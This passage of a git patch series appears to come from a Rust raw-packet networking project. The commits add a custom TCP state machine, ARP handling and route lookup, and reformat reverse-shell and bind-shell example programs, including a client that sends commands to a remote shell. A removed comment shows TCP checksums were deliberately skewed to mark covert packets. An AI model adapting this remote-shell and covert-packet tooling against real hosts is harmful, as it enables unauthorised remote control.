IpCidr::new(IpAddress::v4(10, 0, 0, 0), 8), + via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), + expires_at: None, + preferred_until: None, + }); + _ = routes.push(Route { + cidr: IpCidr::new(IpAddress::v4(172, 16, 0, 0), 12), + via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), + expires_at: None, + preferred_until: None, + }); + }); + } else { + let Some(raddr) = route.dst() else { + continue; + }; + if raddr.atype() != Some(libc::AF_INET) { + continue; + } + + let lip = laddr.hw_address(); + let rip = raddr.hw_address(); + + info!( + "queueing adding {}.{}.{}.{}/{} via {}.{}.{}.{}", + rip[0], + rip[1], + rip[2], + rip[3], + dst.cidrlen(), + lip[0], + lip[1], + lip[2], + lip[3] + ); + + iface.routes_mut().update(|routes| { + info!( + "adding {}.{}.{}.{}/{} via {}.{}.{}.{}", + rip[0], + rip[1], + rip[2], + rip[3], + dst.cidrlen(), + lip[0], + lip[1], + lip[2], + lip[3] + ); _ = routes.push(Route { cidr: IpCidr::new( @@ -99,8 +159,15 @@ async fn main() -> anyhow::Result<()> { } } - let tcp_rx_buffer = tcp::SocketBuffer::new(vec![0; 1500]); - let tcp_tx_buffer = tcp::SocketBuffer::new(vec![0; 1500]); + debug!("routes added:"); + iface.routes_mut().update(|r| { + for r in r { + debug!("\t{r:?}"); + } + }); + + let tcp_rx_buffer = tcp::SocketBuffer::new(vec![0; 65536]); + let tcp_tx_buffer = tcp::SocketBuffer::new(vec![0; 65536]); let tcp_socket = tcp::Socket::new(tcp_rx_buffer, tcp_tx_buffer); let mut sockets = SocketSet::new(vec![]); let tcp_handle = sockets.add(tcp_socket); @@ -117,15 +184,13 @@ async fn main() -> anyhow::Result<()> { socket.connect(iface.context(), (ip, 54248), port)?; let fd = device.as_raw_fd(); - let interest = Interest::WRITABLE + /*let interest = Interest::WRITABLE .add(Interest::READABLE) .add(Interest::ERROR) .add(Interest::PRIORITY); - let afd = AsyncFd::with_interest(fd, interest)?; + let afd = AsyncFd::with_interest(fd, interest)?;*/ let mut tcp_active = false; - let mut tcp_data_sent = false; - let mut tcp_data_recvd = false; loop { let timestamp = Instant::now(); @@ -133,32 +198,36 @@ async fn main() -> anyhow::Result<()> { let socket = sockets.get_mut::(tcp_handle); if socket.is_active() && !tcp_active { - println!("connected!"); + info!("connected!"); + tcp_active = true; } else if !socket.is_active() && tcp_active { - println!("disconnected"); - break Ok(()); + info!("disconnected"); + tcp_active = false; } tcp_active = socket.is_active(); - if !tcp_data_sent && socket.can_send() { - socket.send_slice(b"ping")?; - tcp_data_sent = true; + if !socket.is_active() && !tcp_active { + socket.connect(iface.context(), (ip, 54248), port)?; + info!("connecting..."); } - if !tcp_data_recvd && socket.may_recv() { + + if socket.can_send() { + socket.send_slice(b"ping")?; + info!("sent data!"); + } else if socket.may_recv() { socket.recv(|data| { if !data.is_empty() { match std::str::from_utf8(&data) { - Ok(s) => println!("Data received: {}", s), - Err(_) => println!("Data received: {:?}", data), + Ok(s) => info!("Data received: {}", s), + Err(_) => info!("Data received: {:?}", data), } } (data.len(), data) })?; - tcp_data_recvd = true; } - // phy_wait(fd, iface.poll_delay(timestamp, &sockets))?; + phy_wait(fd, iface.poll_delay(timestamp, &sockets))?; - drop(afd.ready(interest).await?); + // drop(afd.ready(interest).await?); } } From ed13defb07a3e09ddb6ace6f53426e24d708a0c9 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Wed, 20 Sep 2023 20:50:04 -0400 Subject: [PATCH 07/15] feat: started to make a TCP state machine --- examples/reverse-shell/beacon/src/main.rs | 27 +- packets/src/lib.rs | 43 +++- tcp-test/client/src/main.rs | 284 +++++++--------------- 3 files changed, 142 insertions(+), 212 deletions(-) diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index bd22cb6..89d7864 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -9,9 +9,13 @@ use pcap_sys::packets::*; #[tokio::main] async fn main() -> anyhow::Result<()> { - let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::()?; + let target = std::env::args() + .skip(1) + .next() + .ok_or(anyhow!("could not get target IP"))? + .parse::()?; - let (ifname, src_mac, dst_mac, srcip) = { + let (ifname, _, srcip, src_mac, dst_mac, _) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -19,11 +23,8 @@ async fn main() -> anyhow::Result<()> { let links = socket.get_links()?; let addrs = socket.get_addrs()?; - let (ifname, srcip, srcmac, dstmac) = - route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) - .ok_or(anyhow!("unable to find a route to the IP"))?; - - (ifname, srcmac, dstmac, srcip) + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) + .ok_or(anyhow!("unable to find a route to the IP"))? }; let mut interface = pcap_sys::new_aggregate_interface(false)?; @@ -56,12 +57,18 @@ async fn main() -> anyhow::Result<()> { match evt { EventType::Packet((_, Ok(pkt))) => { let eth_pkt = pkt.pkt(); - let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { continue; }; - let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { + continue; + }; + let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { + continue; + }; let data = udp_pkt.get_data(); - let Ok(resp_id) = TryInto::<[u8;4]>::try_into(&data[..4]) else { continue; }; + let Ok(resp_id) = TryInto::<[u8; 4]>::try_into(&data[..4]) else { + continue; + }; let resp_id = i32::from_be_bytes(resp_id); if sent_updates.contains_key(&resp_id) { diff --git a/packets/src/lib.rs b/packets/src/lib.rs index 276e132..8aee8ec 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -577,7 +577,13 @@ impl TCPPacketBuilder { self } - pub fn build(self, srcip: I1, dstip: I2, data: Vec) -> TCPPacket + pub fn build( + self, + srcip: I1, + dstip: I2, + data: Vec, + checksum_offset: Option, + ) -> TCPPacket where I1: Into, I2: Into, @@ -626,10 +632,7 @@ impl TCPPacketBuilder { } }) .fold(0u32, |acc, e| acc + e) - + 30; - // + 30 to intentionally deviate from - // the RFC, to make it so that I can identify the packets as sparse - // packets + + (checksum_offset.unwrap_or(0) as u32); let checksum = (checksum >> 16) + (checksum & 0xffff); let checksum = ((checksum >> 16) as u16) + (checksum as u16); @@ -645,3 +648,33 @@ impl TCPPacketBuilder { } } } + +#[cfg(test)] +mod test { + use std::net::Ipv4Addr; + + use crate::TCPPacketBuilder; + + #[test] + fn test_checksum() { + let tcp_packet = TCPPacketBuilder::default() + .srcport(57116) + .dstport(54248) + .seqnumber(0xaed77262) + .acknumber(0) + .syn(true) + .window(64240) + .options(vec![ + 0x02, 0x04, 0x05, 0xb4, 0x04, 0x02, 0x08, 0x0a, 0xd4, 0x06, 0xdf, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, + ]) + .build( + Ipv4Addr::new(10, 104, 18, 67), + Ipv4Addr::new(10, 104, 21, 16), + vec![], + None, + ); + + assert_eq!(tcp_packet.pkt().checksum(), 0x898d); + } +} diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index d4084d7..510e40f 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,18 +1,94 @@ -use std::{net::Ipv4Addr, os::fd::AsRawFd, sync::Arc}; +use std::{ + collections::VecDeque, + net::{Ipv4Addr, SocketAddr}, +}; use anyhow::anyhow; use log::{debug, info, trace}; use nl_sys::{netlink, route}; -use smoltcp::{ - iface::{Config, Interface, Route, SocketSet}, - phy::{wait as phy_wait, Device, Medium, RawSocket}, - socket::tcp, - time::Instant, - wire::{EthernetAddress, IpAddress, IpCidr, Ipv4Address}, -}; -use tokio::io::{unix::AsyncFd, Interest}; +use packets::{self, EthernetPacket, IPv4Pkt, TCPPacket, TCPPkt}; +use pcap_sys; + +struct PeerInfo { + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + local_port: u16, +} + +#[derive(Default)] +struct TcpSocket { + tx_buffer: VecDeque, + rx_buffer: VecDeque, + local_seq_no: u32, + remote_seq_no: u32, + remote_last_ack: Option, + remote_last_win: u16, + local_rx_last_seq: Option, + local_rx_last_ack: Option, + state: TcpState, + peer_info: Option, +} + +#[derive(Default)] +enum TcpState { + Listen, + SynSent, + SynReceived, + Established, + FinWait1, + FinWait2, + CloseWait, + Closing, + LastAck, + TimeWait, + #[default] + Closed, +} + +fn socket_accepts_packet(socket: &TcpSocket, ip: IPv4Pkt<'_>, tcp: TCPPkt<'_>) -> bool { + if let Some(peer) = &socket.peer_info { + peer.local_addr == ip.dest_ip() + && peer.remote_addr == ip.source_ip() + && peer.local_port == tcp.dstport() + && peer.remote_port == tcp.srcport() + } else { + false + } +} + +fn connect( + socket: &mut TcpSocket, + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, +) -> anyhow::Result { + socket.state = TcpState::SynSent; + let local_port: u16 = loop { + let port = rand::random(); + if port > 40000 { + break port; + } + }; + socket.peer_info = Some(PeerInfo { + remote_addr, + remote_port, + local_addr, + local_port, + }); + + Ok(()) +} + +fn process_packet(socket: &mut TcpSocket, packet: TCPPkt<'_>) -> anyhow::Result> { + match socket.state { + TcpState::SynSent if packet.ack() && packet.syn() => {} + _ => {} + } + Ok(None) +} #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -41,193 +117,7 @@ async fn main() -> anyhow::Result<()> { (routes, res) }; - // dbg!((&ifname, srcip, src_mac, dst_mac)); + let socket = TcpSocket::default(); - let mut device = RawSocket::new(&ifname, Medium::Ethernet)?; - - let mut config = Config::new(EthernetAddress(src_mac).into()); - config.random_seed = rand::random(); - - let mut iface = Interface::new(config, &mut device, Instant::now()); - iface.update_ip_addrs(|ip_addrs| { - let o = srcip.octets(); - debug!( - "source network ip: {}.{}.{}.{}/{src_snmask}", - o[0], o[1], o[2], o[3] - ); - - ip_addrs - .push(IpCidr::new( - IpAddress::v4(o[0], o[1], o[2], o[3]), - src_snmask, - )) - .unwrap(); - }); - - for route in routes.iter() { - let Some(dst) = route.dst() else { - trace!("failed to get route destination"); - continue; - }; - - let Some(hop) = route.hop_iter().next() else { - trace!("no next hop existed for {dst:?}"); - continue; - }; - if hop.ifindex() != ifindex { - trace!("hop doesn't match ifindex {ifindex}"); - continue; - } - let Some(laddr) = hop.gateway() else { - trace!("couldn't get gateway address for {dst:?}"); - continue; - }; - if laddr.atype() != Some(libc::AF_INET) { - trace!("unable to load IP info for {dst:?}"); - continue; - } - - if dst.cidrlen() == 0 { - info!("setting default route via {:?}", &laddr); - iface - .routes_mut() - .add_default_ipv4_route(Ipv4Address::from_bytes(&laddr.hw_address()))?; - - iface.routes_mut().update(|routes| { - let lip = laddr.hw_address(); - _ = routes.push(Route { - cidr: IpCidr::new(IpAddress::v4(10, 0, 0, 0), 8), - via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), - expires_at: None, - preferred_until: None, - }); - _ = routes.push(Route { - cidr: IpCidr::new(IpAddress::v4(172, 16, 0, 0), 12), - via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), - expires_at: None, - preferred_until: None, - }); - }); - } else { - let Some(raddr) = route.dst() else { - continue; - }; - if raddr.atype() != Some(libc::AF_INET) { - continue; - } - - let lip = laddr.hw_address(); - let rip = raddr.hw_address(); - - info!( - "queueing adding {}.{}.{}.{}/{} via {}.{}.{}.{}", - rip[0], - rip[1], - rip[2], - rip[3], - dst.cidrlen(), - lip[0], - lip[1], - lip[2], - lip[3] - ); - - iface.routes_mut().update(|routes| { - info!( - "adding {}.{}.{}.{}/{} via {}.{}.{}.{}", - rip[0], - rip[1], - rip[2], - rip[3], - dst.cidrlen(), - lip[0], - lip[1], - lip[2], - lip[3] - ); - - _ = routes.push(Route { - cidr: IpCidr::new( - IpAddress::v4(rip[0], rip[1], rip[2], rip[3]), - dst.cidrlen() as u8, - ), - via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), - expires_at: None, - preferred_until: None, - }) - }); - } - } - - debug!("routes added:"); - iface.routes_mut().update(|r| { - for r in r { - debug!("\t{r:?}"); - } - }); - - let tcp_rx_buffer = tcp::SocketBuffer::new(vec![0; 65536]); - let tcp_tx_buffer = tcp::SocketBuffer::new(vec![0; 65536]); - let tcp_socket = tcp::Socket::new(tcp_rx_buffer, tcp_tx_buffer); - let mut sockets = SocketSet::new(vec![]); - let tcp_handle = sockets.add(tcp_socket); - - let port = loop { - let port = rand::random::(); - - if port > 40_000 { - break port; - } - }; - - let socket = sockets.get_mut::(tcp_handle); - socket.connect(iface.context(), (ip, 54248), port)?; - - let fd = device.as_raw_fd(); - /*let interest = Interest::WRITABLE - .add(Interest::READABLE) - .add(Interest::ERROR) - .add(Interest::PRIORITY); - let afd = AsyncFd::with_interest(fd, interest)?;*/ - - let mut tcp_active = false; - - loop { - let timestamp = Instant::now(); - iface.poll(timestamp, &mut device, &mut sockets); - - let socket = sockets.get_mut::(tcp_handle); - if socket.is_active() && !tcp_active { - info!("connected!"); - tcp_active = true; - } else if !socket.is_active() && tcp_active { - info!("disconnected"); - tcp_active = false; - } - tcp_active = socket.is_active(); - - if !socket.is_active() && !tcp_active { - socket.connect(iface.context(), (ip, 54248), port)?; - info!("connecting..."); - } - - if socket.can_send() { - socket.send_slice(b"ping")?; - info!("sent data!"); - } else if socket.may_recv() { - socket.recv(|data| { - if !data.is_empty() { - match std::str::from_utf8(&data) { - Ok(s) => info!("Data received: {}", s), - Err(_) => info!("Data received: {:?}", data), - } - } - (data.len(), data) - })?; - } - - phy_wait(fd, iface.poll_delay(timestamp, &sockets))?; - - // drop(afd.ready(interest).await?); - } + Ok(()) } From 867464f673895ca7c0bb9212020b34368f0d84af Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Thu, 21 Sep 2023 13:39:02 -0400 Subject: [PATCH 08/15] feat: added more robust handling of actions --- tcp-test/client/src/main.rs | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 510e40f..0c97ada 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,6 +1,6 @@ use std::{ collections::VecDeque, - net::{Ipv4Addr, SocketAddr}, + net::{Ipv4Addr, SocketAddr}, time::Duration, }; use anyhow::anyhow; @@ -8,7 +8,7 @@ use anyhow::anyhow; use log::{debug, info, trace}; use nl_sys::{netlink, route}; -use packets::{self, EthernetPacket, IPv4Pkt, TCPPacket, TCPPkt}; +use packets::{self, EthernetPacket, IPv4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt}; use pcap_sys; struct PeerInfo { @@ -30,6 +30,7 @@ struct TcpSocket { local_rx_last_ack: Option, state: TcpState, peer_info: Option, + ack_timeout: Option } #[derive(Default)] @@ -64,7 +65,7 @@ fn connect( remote_addr: Ipv4Addr, remote_port: u16, local_addr: Ipv4Addr, -) -> anyhow::Result { +) -> TCPPacket { socket.state = TcpState::SynSent; let local_port: u16 = loop { let port = rand::random(); @@ -79,10 +80,22 @@ fn connect( local_port, }); - Ok(()) + socket.local_seq_no = rand::random(); + + TCPPacketBuilder::default() + .srcport(local_port) + .dstport(remote_port) + . + .syn(true) + .window(64240) + .seqnumber(socket.local_seq_no) + .build(local_addr, remote_addr, vec![], None) } -fn process_packet(socket: &mut TcpSocket, packet: TCPPkt<'_>) -> anyhow::Result> { +fn process_packet( + socket: &mut TcpSocket, + packet: TCPPkt<'_>, +) -> anyhow::Result)>> { match socket.state { TcpState::SynSent if packet.ack() && packet.syn() => {} _ => {} From 0bda72491c62dc77dcebae36e4b52e14734eab6e Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Mon, 25 Sep 2023 23:24:37 -0400 Subject: [PATCH 09/15] feat: added basic structure around packet transfer --- packets/src/lib.rs | 9 ++- pcap-sys/src/lib.rs | 12 +++ tcp-test/client/src/main.rs | 149 ++++++++++++++++++++++++++++++++---- 3 files changed, 154 insertions(+), 16 deletions(-) diff --git a/packets/src/lib.rs b/packets/src/lib.rs index 8aee8ec..dac53ba 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -600,7 +600,12 @@ impl TCPPacketBuilder { let seqnumber = self.seqnumber.unwrap(); let window = self.window.unwrap(); - let len: u8 = (self.options.len() / 4 + 5).try_into().unwrap(); + let mut options = self.options; + while options.len() % 4 != 0 { + options.push(0); + } + + let len: u8 = (options.len() / 4 + 5).try_into().unwrap(); let len = len << 4; let mut bytes = [ @@ -617,7 +622,7 @@ impl TCPPacketBuilder { &window.to_be_bytes(), &[0, 0], &self.urgent_ptr.to_be_bytes(), - &self.options, + &options, &data, ] .concat(); diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 60cb4f1..02b5c1e 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -450,6 +450,18 @@ impl InterfaceStream { pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> { self.inner.get_mut().interface.sendpacket(packet) } + + pub fn set_filter( + &mut self, + filter: &str, + optimize: bool, + mask: Option, + ) -> error::Result> { + self.inner + .get_mut() + .interface + .set_filter(filter, optimize, mask) + } } impl Unpin for InterfaceStream {} diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 0c97ada..627fe03 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,15 +1,21 @@ use std::{ collections::VecDeque, - net::{Ipv4Addr, SocketAddr}, time::Duration, + net::{Ipv4Addr, SocketAddr}, + time::Duration, }; -use anyhow::anyhow; +use anyhow::{anyhow, bail}; -use log::{debug, info, trace}; +use log::{debug, error, info, trace}; use nl_sys::{netlink, route}; -use packets::{self, EthernetPacket, IPv4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt}; +use packets::{ + self, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, Layer3Pkt, Layer4Packet, Layer4Pkt, + TCPPacket, TCPPacketBuilder, TCPPkt, +}; use pcap_sys; +use tokio::{sync::mpsc, task}; +use tokio_stream::StreamExt; struct PeerInfo { remote_addr: Ipv4Addr, @@ -30,7 +36,7 @@ struct TcpSocket { local_rx_last_ack: Option, state: TcpState, peer_info: Option, - ack_timeout: Option + ack_timeout: Option, } #[derive(Default)] @@ -49,6 +55,22 @@ enum TcpState { Closed, } +enum TcpOptions { + EndOfList, + NoOp, + MaxSegmentSize(u16), +} + +impl TcpOptions { + fn get_bytes(&self) -> Vec { + match self { + Self::EndOfList => vec![0x00], + Self::NoOp => vec![0x01], + Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(), + } + } +} + fn socket_accepts_packet(socket: &TcpSocket, ip: IPv4Pkt<'_>, tcp: TCPPkt<'_>) -> bool { if let Some(peer) = &socket.peer_info { peer.local_addr == ip.dest_ip() @@ -65,7 +87,7 @@ fn connect( remote_addr: Ipv4Addr, remote_port: u16, local_addr: Ipv4Addr, -) -> TCPPacket { +) -> (u16, TCPPacket) { socket.state = TcpState::SynSent; let local_port: u16 = loop { let port = rand::random(); @@ -82,25 +104,54 @@ fn connect( socket.local_seq_no = rand::random(); - TCPPacketBuilder::default() + let packet = TCPPacketBuilder::default() .srcport(local_port) .dstport(remote_port) - . .syn(true) .window(64240) .seqnumber(socket.local_seq_no) - .build(local_addr, remote_addr, vec![], None) + .options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + .build(local_addr, remote_addr, vec![], None); + + (local_port, packet) } fn process_packet( socket: &mut TcpSocket, packet: TCPPkt<'_>, -) -> anyhow::Result)>> { +) -> anyhow::Result<(Option<(TCPPacketBuilder, Vec)>, Option>)> { match socket.state { TcpState::SynSent if packet.ack() && packet.syn() => {} _ => {} } - Ok(None) + Ok((None, None)) +} + +fn send_data(socket: &mut TcpSocket, data: Vec) -> anyhow::Result<(TCPPacketBuilder, Vec)> { + Ok(todo!()) +} + +struct TcpSocketHandle { + send_channel: mpsc::Sender>, + receiver_channel: mpsc::Receiver>, +} + +async fn use_socket(mut socket_handle: TcpSocketHandle) { + _ = socket_handle.send_channel.send(b"ping".to_vec()).await; + + match socket_handle.receiver_channel.recv().await { + Some(bytes) => match std::str::from_utf8(&bytes) { + Ok(string) => { + log::info!("received packet: {string}") + } + Err(_) => { + log::info!("received packet: {bytes:?}"); + } + }, + None => { + log::error!("could not get packets from server") + } + } } #[tokio::main] @@ -116,7 +167,7 @@ async fn main() -> anyhow::Result<()> { .ok_or(anyhow!("could not get target IP"))? .parse::()?; - let (routes, (ifname, ifindex, srcip, src_mac, _, src_snmask)) = { + let (routes, (ifname, ifindex, srcip, src_mac, dst_mac, src_snmask)) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -130,7 +181,77 @@ async fn main() -> anyhow::Result<()> { (routes, res) }; - let socket = TcpSocket::default(); + let mut socket = TcpSocket::default(); - Ok(()) + let mut interface = pcap_sys::Interface::::new(&ifname)?; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + macro_rules! format_packet { + ($tcp_packet:expr) => {{ + let layer3pkt = Layer3Packet::IPv4(IPv4Packet::construct( + srcip, + ip, + &Layer4Packet::TCP($tcp_packet), + )); + EthernetPacket::construct(src_mac, dst_mac, &layer3pkt) + }}; + } + + let (port, packet) = connect(&mut socket, ip, 54248, srcip); + + interface.set_filter(&format!("inbound and tcp port {port}"), true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet"); + } + + let mut packets = interface.stream()?; + + packets.sendpacket(format_packet!(packet).pkt())?; + + let (send_channel, mut send_packet) = mpsc::channel(1024); + let (receive_packet, receiver_channel) = mpsc::channel(1024); + + let socket_handle = TcpSocketHandle { + receiver_channel, + send_channel, + }; + + task::spawn(async move { use_socket(socket_handle) }); + + loop { + let Some((builder, data)) = tokio::select! { + Some(Ok(bytes)) = packets.next() => { + let pkt = bytes.pkt(); + let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = pkt.get_layer3_pkt() else { continue; }; + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt) else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + to_send + }, + Some(to_send) = send_packet.recv() => { + match send_data(&mut socket, to_send) { + Ok(v) => Some(v), + Err(_) => continue + } + }, + else => { continue; } + } else { + continue; + }; + + let packet = builder.build(srcip, ip, data, None); + _ = packets.sendpacket(format_packet!(packet).pkt()); + } } From 0bb287156848fe37d74109a8e8e853885bd18fe9 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 26 Sep 2023 01:57:10 -0400 Subject: [PATCH 10/15] feat: added the ability to respond to ARP requests --- examples/bind-shell/client/src/main.rs | 43 +++++--- examples/reverse-shell/server/src/main.rs | 8 +- packets/src/lib.rs | 125 +++++++++++++++++++++- tcp-test/client/src/main.rs | 88 ++++++++++----- 4 files changed, 219 insertions(+), 45 deletions(-) diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index ca52c98..ee85c13 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,4 +1,9 @@ -use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}}; +use std::{ + io::prelude::*, + net::UdpSocket, + sync::{Arc, Condvar, Mutex}, + thread, +}; use anyhow::{anyhow, Context}; use ed25519_dalek::{Keypair, Signer}; @@ -17,7 +22,7 @@ impl Msg<'_> { 0 => Some(Msg::Ready(bytes[1])), 1 => Some(Msg::Stdout(&bytes[1..])), 2 => Some(Msg::Stderr(&bytes[1..])), - _ => None + _ => None, } } } @@ -47,8 +52,12 @@ fn main() -> anyhow::Result<()> { let mut buffer = [0u8; 1536]; loop { - let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; }; - let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; }; + let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { + continue; + }; + let Some(msg) = Msg::parse(&buffer[..amount]) else { + continue; + }; match msg { Msg::Ready(_) => { @@ -59,12 +68,14 @@ fn main() -> anyhow::Result<()> { }; *inuse = false; cvar.notify_one(); - }, + } Msg::Stderr(err) => { let _ = stderr.write(err); - }, + } Msg::Stdout(out) => { - let Ok(mut stdout) = stdout_arc.lock() else { continue; }; + let Ok(mut stdout) = stdout_arc.lock() else { + continue; + }; let _ = stdout.write(out); } } @@ -92,13 +103,19 @@ fn main() -> anyhow::Result<()> { } { - let Ok(mut stdout) = stdout_arc.lock() else { continue; }; - let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; }; + let Ok(mut stdout) = stdout_arc.lock() else { + continue; + }; + let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { + continue; + }; let _ = stdout.flush(); } let mut cmd = String::new(); - let Ok(amount) = stdin.read_line(&mut cmd) else { continue; }; + let Ok(amount) = stdin.read_line(&mut cmd) else { + continue; + }; let mut cmd = cmd.trim(); if amount == 0 { @@ -113,8 +130,10 @@ fn main() -> anyhow::Result<()> { }; match cmd.split(" ").collect::>()[..] { - ["exit"] => { break }, - ["cd", dir] => { cwd = dir.to_owned(); }, + ["exit"] => break, + ["cd", dir] => { + cwd = dir.to_owned(); + } _ => { let (lock, _) = &*stdout_inuse; let Ok(mut inuse) = lock.lock() else { diff --git a/examples/reverse-shell/server/src/main.rs b/examples/reverse-shell/server/src/main.rs index 3fbd3de..86a2933 100644 --- a/examples/reverse-shell/server/src/main.rs +++ b/examples/reverse-shell/server/src/main.rs @@ -6,7 +6,9 @@ fn main() -> anyhow::Result<()> { loop { let mut buf = [0u8; 4]; - let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { continue; }; + let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { + continue; + }; if amount != 4 { continue; @@ -14,6 +16,8 @@ fn main() -> anyhow::Result<()> { println!("Received packet: {}", i32::from_be_bytes(buf)); - let Ok(_) = input.send_to(&buf, src) else { continue; }; + let Ok(_) = input.send_to(&buf, src) else { + continue; + }; } } diff --git a/packets/src/lib.rs b/packets/src/lib.rs index dac53ba..c6ba82a 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -58,6 +58,17 @@ impl<'a> EthernetPkt<'a> { Ok(Layer3Pkt::IPv4Pkt(pkt)) } + 0x0806 => { + if self.data.len() < 42 { + return Err(error::Error::PacketLengthInvalid); + } + + let pkt = ARPPkt { + data: &self.data[14..], + }; + + Ok(Layer3Pkt::ARP(pkt)) + } p => Err(error::Error::UnknownPacketType(p)), } } @@ -71,6 +82,7 @@ impl<'a> EthernetPkt<'a> { pub enum Layer3Pkt<'a> { IPv4Pkt(IPv4Pkt<'a>), + ARP(ARPPkt<'a>), } pub struct IPv4Pkt<'a> { @@ -160,6 +172,51 @@ impl<'a> IPv4Pkt<'a> { } } +pub struct ARPPkt<'a> { + data: &'a [u8], +} + +impl<'a> ARPPkt<'a> { + pub fn htype(&self) -> u16 { + u16::from_be_bytes(self.data[0..2].try_into().unwrap()) + } + + pub fn ptype(&self) -> u16 { + u16::from_be_bytes(self.data[2..4].try_into().unwrap()) + } + + pub fn hwlen(&self) -> u8 { + self.data[4] + } + + pub fn plen(&self) -> u8 { + self.data[5] + } + + pub fn opcode(&self) -> u16 { + u16::from_be_bytes(self.data[6..8].try_into().unwrap()) + } + + pub fn srchwaddr(&self) -> &[u8] { + &self.data[8usize..8usize + self.hwlen() as usize] + } + + pub fn srcprotoaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + 8; + &self.data[start..start + self.plen() as usize] + } + + pub fn targethwaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + self.plen() as usize + 8; + &self.data[start..start + self.hwlen() as usize] + } + + pub fn targetprotoaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + self.plen() as usize + self.hwlen() as usize + 8; + &self.data[start..start + self.plen() as usize] + } +} + pub enum Layer4Pkt<'a> { UDP(UDPPkt<'a>), TCP(TCPPkt<'a>), @@ -169,7 +226,7 @@ impl<'a> Layer4Pkt<'a> { pub fn len(&self) -> u16 { match self { Layer4Pkt::UDP(pkt) => pkt.len(), - Layer4Pkt::TCP(_) => 0, + Layer4Pkt::TCP(pkt) => pkt.data.len() as u16, } } @@ -358,6 +415,9 @@ impl EthernetPacket { Layer3Packet::IPv4(pkt) => EthernetPacket { data: [&dst[..], &src[..], &[0x08_u8, 0x00_u8][..], &*pkt.data].concat(), }, + Layer3Packet::ARP(pkt) => EthernetPacket { + data: [&dst[..], &src[..], &[0x08_u8, 0x06_u8][..], &*pkt.data].concat(), + }, } } @@ -370,13 +430,74 @@ impl EthernetPacket { #[derive(Clone)] pub enum Layer3Packet { IPv4(IPv4Packet), + ARP(ARPPacket), +} + +#[derive(Clone)] +pub struct ARPPacket { + data: Vec, +} + +pub enum ARPMode { + Request, + Reply, +} + +impl ARPMode { + fn opcode(&self) -> u16 { + match self { + Self::Request => 1, + Self::Reply => 2, + } + } +} + +pub enum ARPProto { + IPv4, +} + +impl ARPProto { + fn opcode(&self) -> u16 { + match self { + Self::IPv4 => 0x0800, + } + } +} + +impl 